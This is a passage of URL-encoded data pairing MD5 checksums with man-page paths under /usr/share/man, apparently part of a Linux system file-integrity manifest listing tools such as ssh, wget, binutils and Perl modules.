Fshare%2Fman%2Fman1%2Fgpg.1.gz%0Ac90c55c30ce35a9a4af6be56b4120471%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fgpgv.1.gz%0Adaa79b500f648b63d591fcae27b0158b%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fncftp.1.gz%0A80b23355ecaeeb4682a1450528ac3552%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fncftpbatch.1.gz%0A0fb1c63d4638dfe4163d5c66dd014859%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fncftpget.1.gz%0Ada3e95871009cf01813a55802ee456e3%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fncftpls.1.gz%0Afa9f763a8347a858926317a24c1a66fa%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fncftpput.1.gz%0Ac912a7072cecb4031432c644a0419d52%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fnmap.1.gz%0Ad6426a876c80a69f21034cfb11c73a2b%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fscp.1.gz%0A4d521d4c141471a8953b255070da1482%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fssh-keygen.1.gz%0Ad28835d86534382e0935c932440d3fc3%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fsftp.1.gz%0Aabf675fe52a0a2278ba268625b5bcaa5%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fslogin.1.gz%0A3edab376b0f3017a72b9c8fd51c9d3b9%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fssh-add.1.gz%0Ac9e1bb4e5708e1bae2f50da79380d9cc%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fssh-agent.1.gz%0Af6355b4cf9030cd3d0e75e2bfc822f49%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fssh-keyscan.1.gz%0A4efaad49c797b98ccc8bb53a8a13e40e%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fssh.1.gz%0A293622a86436e7c121134bcaa044eadf%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Frcp.1.gz%0A6eebc9f67ad3002917d229659441f4e8%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Frlogin.1.gz%0A38806191c5208c3b54309cd83679c450%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Frsh.1.gz%0A362fdd764c9b93fc47951c322762e1a4%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Ftelnet.1.gz%0Ae371f48b73b589c2eb18a2634c810d64%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fwget.1.gz%0Ac52e601b878952ac590f189d3813ec4d%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fiostat.1.gz%0A7163e32374203b67e06f25c674b5beca%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fisag.1.gz%0Aacbb2ececf159dd4a8c0fb3a0cf9da6f%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fmpstat.1.gz%0A4f15f4d0bc2ee3c3042342908c8955a8%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fsar.1.gz%0Ac6f49e8679012fcafbf834ab9c34ae52%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Ftestparm.1.gz%0A668b94c6afe88a049fc24c39692381a0%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Ftestprns.1.gz%0Af8bc2e18d4efc15d6e26755762de3398%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fsmbstatus.1.gz%0A0a580df9924c3fa540501d2d30ab0f08%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fnmblookup.1.gz%0A2a775e45e24a9aabe80de7a0918d7135%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fsmbclient.1.gz%0A9a7ee1667af08cd1fdc170317a31ffbc%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fsmbtar.1.gz%0A1a1b639544be72bf1da6c2a55ae960d1%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fftpcount.1.gz%0A60ba0b1096b18284494c9fde84f008a0%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fftpwho.1.gz%0Af08f9a823a45592eb77cde241a2770d3%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fcurl.1.gz%0A1ef3b288da08320be2b6544f8f7e912a%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fdbmmanage.1.gz%0Ac74daa3bdd74ca34c0c368abda1d3463%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fhtdigest.1.gz%0Ae43fcfd0cb27c49424a941eeb73a9c79%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fhtpasswd.1.gz%0Ac23aae68494017d4fc3f492c3b63f67a%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fcpp.1.gz%0A7f2a813594f7ecb6521dd7df22b0b950%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Faddr2line.1.gz%0A288e5cb78b23aa98beb59a813602a1f2%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Far.1.gz%0Aaafc52844eab13916f8975b089917144%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fas.1.gz%0A8d334704b24f5628c1f3751f182a5a89%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fc%2B%2Bfilt.1.gz%0A736dda73bc596804be9023310351f1e7%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fdlltool.1.gz%0Ac0231c2e94663566e53206a533d71787%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fgprof.1.gz%0Ae459a72b49298427531ff72df52e6ca0%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fld.1.gz%0A2a8642134e1fa0a147cc60dea7e1ec1b%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fnlmconv.1.gz%0A2f76e314e6f7f8b5d6bae7be84a8d82a%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fnm.1.gz%0A0b5221d62e41e134d45f8c57dd1acdac%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fobjcopy.1.gz%0A9ed83f7a72297800758ad33350829aa4%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fobjdump.1.gz%0Aff9088b13b18a44b6ff96ec9429f452c%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Franlib.1.gz%0A696ff86ee03691fac0dd2146fcea3205%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Freadelf.1.gz%0Af4c95bd7237d70444a385b8c75e86072%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fsize.1.gz%0Abd2e8ec517abb16fc4fbbd778116702d%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fstrings.1.gz%0A413535a998609f636eb352b05f7dcc7c%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fstrip.1.gz%0A534676efec1414f8d26ea9a699e1a464%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fwindres.1.gz%0A1839fbb0af591b7bb85ffa2b9027d397%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fgcc.1.gz%0A7182f7136f0a0a9c3aa11b3d3116d93d%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fas86.1.gz%0A2a3488abc136572d7e13a53191948faf%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fbcc.1.gz%0Aaf2715fef208ded2258bc7cd5347c484%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Felks.1.gz%0A6de0d84b6b08eb3917226b46cbfa548e%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Felksemu.1.gz%0Acaf290ae4448a637c23f4b949eadddb7%20%20%2Fusr%2Fshare%2Fman%2Fman1%2Fld86.1.gz%0Adf889b9a07d7e7b95c07c390b55f1109%20%20%2Fusr%2Fshare%2Fman%2Fman2%2Fget_kernel_syms.2.gz%0A67a4dfcbd66a37e48896bdb668221490%20%20%2Fusr%2Fshare%2Fman%2Fman2%2Fcreate_module.2.gz%0A3d27a679e0176e35dc2bd533e2222ad5%20%20%2Fusr%2Fshare%2Fman%2Fman2%2Fdelete_module.2.gz%0A7c0e8dc54b3a840ce47a34769c8ffbfa%20%20%2Fusr%2Fshare%2Fman%2Fman2%2Finit_module.2.gz%0A91ce60b239fa0f3698014c7be16db2b5%20%20%2Fusr%2Fshare%2Fman%2Fman2%2Fquery_module.2.gz%0A26633e406fae3537cc36d8f8067ab8f3%20%20%2Fusr%2Fshare%2Fman%2Fman2%2Fquotactl.2.gz%0Ae267145e7124a2e3f3b9e5f927278c63%20%20%2Fusr%2Fshare%2Fman%2Fman3%2Fuuid_compare.3.gz%0Ae2aa58c0acbe57a18a31ee6efd98ab34%20%20%2Fusr%2Fshare%2Fman%2Fman3%2Flibuuid.3.gz%0A9d9f2db6b737ead0989190ed50c3bc6a%20%20%2Fusr%2Fshare%2Fman%2Fman3%2Fuuid_clear.3.gz%0A2ab718c4ea80e4a11ac6205dbc0c8041%20%20%2Fusr%2Fshare%2Fman%2Fman3%2Fuuid_generate.3.gz%0Ad0f61d1eb64107f8e399a14e001165d5%20%20%2Fusr%2Fshare%2Fman%2Fman3%2Fuuid_copy.3.gz%0A2aa3f6d15b9b21d3afaa71ba04c951a7%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3ADisassembler.3pm.gz%0A791a633154605b5e168ee62d4fe85d84%20%20%2Fusr%2Fshare%2Fman%2Fman3%2Fuuid_is_null.3.gz%0A8ce6b0a82fc959a30e4e7e381a7110fc%20%20%2Fusr%2Fshare%2Fman%2Fman3%2Fuuid_parse.3.gz%0Ab5003f5e78f0784e3bad2bb68273e96a%20%20%2Fusr%2Fshare%2Fman%2Fman3%2Fuuid_time.3.gz%0A178b5f233368d72eab5bb23c15b3442a%20%20%2Fusr%2Fshare%2Fman%2Fman3%2Fuuid_unparse.3.gz%0Ace2f59ea368ff2e663c3fd98195e1247%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FAnyDBM_File.3pm.gz%0A10a3633ba581f4a1c8c9dc6df8d388b5%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FAutoLoader.3pm.gz%0Ae490b43a2c560bb66f0f7572fabea2c9%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FAutoSplit.3pm.gz%0A1b89c9c3435626c7b4cbf7fbbf1c3417%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB.3pm.gz%0Addcafe0dda12fb27c621e86dc71c5886%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3AAsmdata.3pm.gz%0Aff6b70a69e089266e99d49a421e765fc%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3AAssembler.3pm.gz%0Aa98348fb5611cf3ee093611d0d572a16%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3ABblock.3pm.gz%0A0c5a0d084ada4963fbd180cd7f636294%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3ABytecode.3pm.gz%0Ad30019e99f2e84348c210d50912a5ab8%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3AC.3pm.gz%0Af655ceb9ae7a975faa97c90b9df7b2ad%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3ACC.3pm.gz%0A64b700674ec74e0b2f8edce5d55eb6f6%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3ADebug.3pm.gz%0Af07e8d709b7345844b15fff296c32f40%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3ADeparse.3pm.gz%0Aa19439064ee920376d3cf1db1ca6c520%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3AShowlex.3pm.gz%0A71bd3391cfe95566a3a50140b5046159%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3ALint.3pm.gz%0A3eecbd820e2abbbff784b6bfe5611d68%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCPAN%3A%3AFirstTime.3pm.gz%0Acdbf2572654c633c92776e58ec3c3bd5%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3AStackobj.3pm.gz%0Ae697508574efe937d7421c681d9a518a%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3AStash.3pm.gz%0A58149570675897c3820fd6988fa4e230%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3ATerse.3pm.gz%0A803f5fc50eb17e4d17e4a7a2b28ff4b7%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FB%3A%3AXref.3pm.gz%0A0c592e27a7ded12193a3acb73a3576a4%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FBenchmark.3pm.gz%0A87c8e6cd186c2c0f87f9dcbe3e0cb07e%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FByteLoader.3pm.gz%0A4b53153ae5197dbe1939537a3c8b4eab%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCGI.3pm.gz%0Afcea00dda05669d21bdca38090a70366%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCGI%3A%3AApache.3pm.gz%0A8c648c510da8db3e03d52618c7d4050c%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCGI%3A%3ACarp.3pm.gz%0Ab62a28956370a846730bfa6d75be44f3%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCGI%3A%3ACookie.3pm.gz%0A377b0c181fa1a6b9dbfee149c5f9269f%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCGI%3A%3AFast.3pm.gz%0A2742739433b9bfe62a9b23b8af171580%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCGI%3A%3APretty.3pm.gz%0Aca8a0b99086189d9f166ab48b423d598%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCGI%3A%3APush.3pm.gz%0A58729fc4dfb56055b03427dcfb368f1d%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCGI%3A%3ASwitch.3pm.gz%0A518a29112ecec10c4893d319b271c04b%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCPAN.3pm.gz%0Aad5af59551a92b7a077b5d0a5bea899b%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FClass%3A%3AStruct.3pm.gz%0Adf0002d7aec4c75174a5f80d6e459e3d%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCPAN%3A%3ANox.3pm.gz%0A8f852a05e53be633928b7740cdbe886e%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCarp.3pm.gz%0Ae88076b39625bd864ceb700a7a1fa230%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCarp%3A%3AHeavy.3pm.gz%0A12b3fca8e49a81c9e1cbc14e2ae8aeaa%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FData%3A%3ADumper.3pm.gz%0Aa9cf6f4c2d2d3d2e9991e0d358f8f726%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FConfig.3pm.gz%0A129b12d8d2b756074f9151c3db3207a1%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FCwd.3pm.gz%0Af36a8e6b989c002593e95b83a82797f1%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FDB.3pm.gz%0A7dce1a93500e1d2408aa93c1b83eaf5f%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FDB_File.3pm.gz%0Aa429fd49d07b192d950be7d7287b6e1c%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FDevel%3A%3ASelfStubber.3pm.gz%0Abf91b9c43c3609c9435ccf7a22a618ab%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FDevel%3A%3ADProf.3pm.gz%0Ad5e48964957c3c8901cfdb4572a7d7d4%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FDevel%3A%3APeek.3pm.gz%0Af966e77cede60575ca3d24f6fc0e673e%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExporter%3A%3AHeavy.3pm.gz%0Aeb8e222db6d779942a0952698019ff16%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FDirHandle.3pm.gz%0A4805b83b4e874fc9a332f6e6794d68ef%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FDumpvalue.3pm.gz%0A4b51235992374699c7ddc90669a335f4%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FDynaLoader.3pm.gz%0Ad1ca83a0dfeadbf45622fdb3692eb9ab%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FEnglish.3pm.gz%0A48026bfd2eb592f2115152ef89fe262c%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FEnv.3pm.gz%0Afe1d233681f9e35d2b012203cedab0b5%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FErrno.3pm.gz%0A60d1456a24969469a45c0805b0e8fd22%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExporter.3pm.gz%0Afa92af4d4bf2e7cc90034aafbfec88b4%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AMkbootstrap.3pm.gz%0Afb389651decc995241966cb358f007d6%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3ACommand.3pm.gz%0A219f773cc7efc49d36ff890458dee021%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AEmbed.3pm.gz%0Aa3fe168d7ad534cf1e7c80e7ca89f874%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AInstall.3pm.gz%0A286a12a5d69d17d3220fc385157e6751%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AInstalled.3pm.gz%0A42d7872fb31861ae8d9986c73bc2d3c3%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3ALiblist.3pm.gz%0Ad55551f9e9db2b19454598957c680159%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AMM_Cygwin.3pm.gz%0A517095bae0925508230ea159e0e51565%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AMM_OS2.3pm.gz%0Aa2c356a90a457238cdfddec6cb5592e3%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AMM_Unix.3pm.gz%0Ac5e7a1a471a89b91a805a59319e59c26%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AMM_VMS.3pm.gz%0A8e51bf4839446730eb6c60f8696bf509%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AMM_Win32.3pm.gz%0A21e4cea9af5d180e4fcc1da423cab060%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AMakeMaker.3pm.gz%0Af0a41600882f02e2757174bb63e09493%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AManifest.3pm.gz%0Abbfb0ecfcdeb5123604efd507be3761b%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AMiniperl.3pm.gz%0A6223c9b93cc7afc5342ac212ef8d5b2d%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ASpec%3A%3AFunctions.3pm.gz%0A6bd2a282004180e4a1dabd62b6b29e2a%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3AMksymlists.3pm.gz%0Aa315244ab65d48465462261b1160c73e%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3APacklist.3pm.gz%0A207a09046ebb055ea87e645f474d3488%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FExtUtils%3A%3Atestlib.3pm.gz%0A1b46c921890c79d657089b7d69a282da%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFatal.3pm.gz%0A3db313638412a6356196e5dc6d1be645%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFcntl.3pm.gz%0A40342023a2cdb6c9246f3d7ff9714c5e%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ABasename.3pm.gz%0A31e8c7be687da7b8a752ca8d0dcf6ebb%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ACheckTree.3pm.gz%0Adeb9eb8bd8efe9cebdfee55ea6bd5b08%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ACompare.3pm.gz%0Ab173a3657aa33f321e297de5070ea476%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ACopy.3pm.gz%0Af62f0e2d1bb26d0464d110428c25b7d5%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ADosGlob.3pm.gz%0A29828c03f84c9dd8735a3dfdfd3ed383%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3AFind.3pm.gz%0Abbadda1a60cd7a39fc73ca0b44ab1138%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3AGlob.3pm.gz%0A8cb2bc505ff8fa9ad7fa995657dea0af%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3APath.3pm.gz%0Aa614e823278410178c07df9bbbb0152f%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ASpec.3pm.gz%0A1a30d946aa0927f1c27d86837bddd907%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ASpec%3A%3AWin32.3pm.gz%0Aa4ba99a8cd2cdbb43496d2c55ff6277d%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ASpec%3A%3AMac.3pm.gz%0A7e267f8efe2a76f92ebe270f4ef1ae8c%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ASpec%3A%3AOS2.3pm.gz%0A08434f0995df43c08829d1a4a6a931b9%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ASpec%3A%3AUnix.3pm.gz%0Abfedc4b11d338dc42993c0d8cc9244d8%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3ASpec%3A%3AVMS.3pm.gz%0A6f01aa18637ae3eb35f1683b1abaf2de%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FI18N%3A%3ACollate.3pm.gz%0A4accddbdbc4afc36c0cd6e2e48ae6402%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFile%3A%3Astat.3pm.gz%0A95796b68de75a6f5c916b1ca8b06e00f%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFileCache.3pm.gz%0A2763e1076b06e0ca48f8d1d9b9c2061e%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFileHandle.3pm.gz%0Ae2f2ae32b406ecc558b0bce970adfe05%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FFindBin.3pm.gz%0A4b88fd5aeb11b8ef906a0b08ef6f0423%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FGDBM_File.3pm.gz%0Ab727dbb97b0fdf9afccc01abf8b85952%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FGetopt%3A%3ALong.3pm.gz%0Ac40ad3c92c9198946b61cc369bb77a82%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FGetopt%3A%3AStd.3pm.gz%0Aa5851770b08d306fee385fea4d8c0b59%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIO%3A%3ADir.3pm.gz%0Aef22c2ee6757673a40024cc0fe9c3bc7%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIO.3pm.gz%0Abfe3023641fdf125aa1ef61fd98ba2bb%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIO%3A%3AHandle.3pm.gz%0A81492e99a41d0de483dd552007786d69%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIO%3A%3AFile.3pm.gz%0A77cbedc675b8f6b270c699099fc72935%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIO%3A%3ASeekable.3pm.gz%0A7c5653ec67b8125e909b1d45b6f4d9fc%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIO%3A%3APipe.3pm.gz%0Ac0aba756948df320edb65e63f7fc5068%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIO%3A%3APoll.3pm.gz%0A484a2665c91762dcf6710722873ef202%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIO%3A%3ASocket%3A%3AINET.3pm.gz%0A905247b51a196900bb52a28e033d57f6%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIO%3A%3ASelect.3pm.gz%0A8341711fa205d714a886e6707ad3a735%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIO%3A%3ASocket.3pm.gz%0A71937f122d3a019c3423577d5e7ffa81%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3AInputObjects.3pm.gz%0Adf4943e5edf373cfe29789124d0e9244%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIO%3A%3ASocket%3A%3AUNIX.3pm.gz%0A918ecde383530d300845d04f26b66dcc%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIPC%3A%3AMsg.3pm.gz%0A8d2e4d9f584b0536120bc98ad951b842%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIPC%3A%3AOpen2.3pm.gz%0A61f33bfe45c90ceaba796e8d1b10d21d%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIPC%3A%3AOpen3.3pm.gz%0A1a30e826dd3b929aa154c6c1b7da7b29%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIPC%3A%3ASemaphore.3pm.gz%0Aaf66b21ca011443d30bd5770dbab181e%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FIPC%3A%3ASysV.3pm.gz%0Ab1059153937e7955438a2c7c2486ad84%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FMath%3A%3ABigFloat.3pm.gz%0A3cfe6d252bac9a992b082b8ec8bced0e%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FMath%3A%3ABigInt.3pm.gz%0Acafbb13f2d1c6c1181addce05ea084a6%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FMath%3A%3AComplex.3pm.gz%0A6f01baf3d67134f7abf29288cf89bd67%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FMath%3A%3ATrig.3pm.gz%0A0d421b338e3ec4c41b709c513aa21bd5%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FNDBM_File.3pm.gz%0A763d9aa61052028cca6a85729d8f3764%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FNet%3A%3APing.3pm.gz%0A4b4d434996dc0bf9950f8f56f825f96f%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FNet%3A%3Ahostent.3pm.gz%0A4828be2aac15597b136375e67b842d8c%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FNet%3A%3Anetent.3pm.gz%0A1b6da5b5b31d902b17f6f43ac8fd33f1%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FNet%3A%3Aprotoent.3pm.gz%0A57fb04e8317bb7d21454bb56544e6e34%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FNet%3A%3Aservent.3pm.gz%0A885e6cb4fd4c91d51404754bd24467d6%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FO.3pm.gz%0Abab31cfeeab58cf141ffddae944fa2c4%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FOpcode.3pm.gz%0A8bbff5729f80e9f5500b3987174cb0da%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPOSIX.3pm.gz%0Abeb8d074bb0b48c4e85022e525b8f07f%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3AChecker.3pm.gz%0A70085082757a1bde02d5ee07e646e9d8%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3AFind.3pm.gz%0Ac5f4668c1fb62f7d03a17e426a4edc04%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3AHtml.3pm.gz%0A87ee24b2767f92fec98fcb518fba8c55%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3AParseUtils.3pm.gz%0A1fe90c7d88030ca2963cb6510a43a151%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3AMan.3pm.gz%0A56f46a70270e1ea605a6449bec3cf2a6%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3AText%3A%3AColor.3pm.gz%0Ae7a38808f3397b3a7ecfb7c0712bb845%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3AParser.3pm.gz%0A6f61764cc2b09c2e06d3a7ac26004d94%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3APlainer.3pm.gz%0Aaabb3a9203b9a890d6e024a6f95f60f2%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3ASelect.3pm.gz%0Af6f6d956946a015ced43e82634efec68%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3AText.3pm.gz%0Ae1e7b12dcf973ad557b65b5a74a6efac%20%20%2Fusr%2Fshare%2Fman%2Fman3%2Fpthread_attr_destroy.3thr.gz%0Af56eade3ddf599962a6df57689846e71%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3AText%3A%3ATermcap.3pm.gz%0A4e51a101541a4773f22f2fbdb9107f29%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FSafe.3pm.gz%0A66266ad3335a4e7bb23e1f38d0f8be56%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FPod%3A%3AUsage.3pm.gz%0Acc404f98f794276bc66aeb55839be1f2%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FSDBM_File.3pm.gz%0Ab25215af86e1581f05f1492c9b54ac80%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FSearch%3A%3ADict.3pm.gz%0Af285a978cf7ec9e90da74c74904443de%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FSelectSaver.3pm.gz%0A0b27e2254c2236dcb091dd108153a1fb%20%20%2Fusr%2Fshare%2Fman%2Fman3%2FSelfLoader.3pm.